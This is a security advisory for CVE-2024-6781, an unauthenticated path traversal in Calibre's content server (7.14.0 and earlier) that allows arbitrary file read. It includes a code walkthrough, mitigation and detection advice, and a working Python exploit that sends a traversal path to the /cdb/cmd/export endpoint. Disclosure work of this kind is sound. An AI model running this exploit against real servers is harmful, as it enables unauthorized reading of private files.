Summary

Product Calibre
Vendor Calibre
Severity High - Unprivileged adversaries may exploit software vulnerabilities to perform relative path traversal to achieve arbitrary file read
Affected Versions <= 7.14.0 (latest version as of writing)
Tested Versions 7.14.0
CVE Identifier CVE-2024-6781
CVE Description Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) vulnerability allows Relative Path Traversal
CWE Classification(s) CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
CAPEC Classification(s) CAPEC-139 Relative Path Traversal

CVSS3.1 Scoring System

Base Score: 7.5 (High) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) None
Availability (A) None

Product Overview

Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.

Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time.

Vulnerability Summary

Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.

Vulnerability Details

The source of the vulnerability is in cmd_export.py, that is called by the cdb.py router. The router imports a secondary module (in the format cmd_*.py) based on the incoming HTTP request’s path. In this case, a request to /cdb/cmd/export will result in the file cmd_export.py being imported and its implementation() function will be executed. Additionally, the request body’s content is used as *args.

The list of cmd_*.py files can be obtained from the src/calibre/db/cli/ directory.

# src/calibre/srv/cdb.py#L28
@endpoint('/cdb/cmd/{which}/{version=0}', postprocess=msgpack_or_json, methods=receive_data_methods, cache_control='no-cache')
def cdb_run(ctx, rd, which, version):
    try:
        m = module_for_cmd(which)
    except ImportError:
        raise HTTPNotFound(f'No module named: {which}')
    if not getattr(m, 'readonly', False): # [1]
        ctx.check_for_write_access(rd)
    [...snip...]
    try:
        result = m.implementation(db, partial(ctx.notify_changes, db.backend.library_path), *args) # [2]

The vulnerable function is located at cmd_export.py::implementation(), so at [1], if the readonly module variable is False or absent, the function check_for_write_access() would not trigger and code execution can continue. The implementation() function of cmd_export.py module is then executed with user-controlled arguments *args at [2].

# src/calibre/db/cli/cmd_export.py#L17
readonly = True
[...snip...]
def implementation(db, notify_changes, action, *args):
 [...snip..]
    if action == 'extra_file':
        book_id, relpath, dest = args # args parameter is sourced from request payload sequentially
        if is_remote:
            from io import BytesIO
            output = BytesIO()
            db.copy_extra_file_to(book_id, relpath, output) # [3]
            return output.getvalue()
        db.copy_extra_file_to(book_id, relpath, dest)

The function db.copy_extra_file_to() at [3], shown below, builds a relative path from the pre-configured library path, reads the file content, then stores its content into the output variable. The output BytesIO variable is subsequently returned to the user. Since there were no input sanitisation performed on the user-supplied arguments, this results in an arbitrary file read vulnerability.

# src/calibre/db/backend.py#L2005
def copy_extra_file_to(self, book_id, book_path, relpath, stream_or_path):
    full_book_path = os.path.abspath(os.path.join(self.library_path, book_path))
    src_path = make_long_path_useable(os.path.join(full_book_path, relpath))
    if isinstance(stream_or_path, str):
        shutil.copy2(src_path, make_long_path_useable(stream_or_path))
    else:
        with open(src_path, 'rb') as src:
            shutil.copyfileobj(src, stream_or_path)

Exploit Conditions

This vulnerability can be exploited by an unauthenticated attacker with the default configuration of Calibre’s content server which has basic authentication disabled by default, or by any privileged authenticated attacker.

Additionally, the file must be UTF-8 compatible.

Proof-of-Concept

We have tried our best to make the PoC as portable and cross-platform as possible. This report includes a functional exploit written in Python3 that automatically performs the arbitrary file read.

A sample exploit script is shown below:

#! /usr/bin/env python3
# PoC for: CVE-2024-6781
# Description: Unauthenticated arbitrary file read in calibre <= 7.14.0
# Written by: Amos Ng (@LFlare)
import json
import sys

import requests

_target = "http://localhost:8080" # SET ME
_book_id = 1 # ensure book_id exists

def exploit(path):
    r = requests.post(
        f"{_target}/cdb/cmd/export",
        headers={"Content-Type": "application/json"},
        json=["extra_file", _book_id, path, ""],
    )
    try:
        print(r.json()["result"])
    except Exception:
        print(r.text)

if __name__ == "__main__":
    exploit("..\\..\\..\\Calibre Settings\\gui.json")

Suggested Mitigations

Ensure that user-supplied input are properly sanitised to prevent path traversals.

Detection Guidance

It is possible to detect potential exploitation of the vulnerability by checking the server’s access logs for POST requests to the /cdb/cmd/export endpoint.

Credits

Amos Ng (@LFlare) of STAR Labs SG Pte. Ltd. (@starlabs_sg)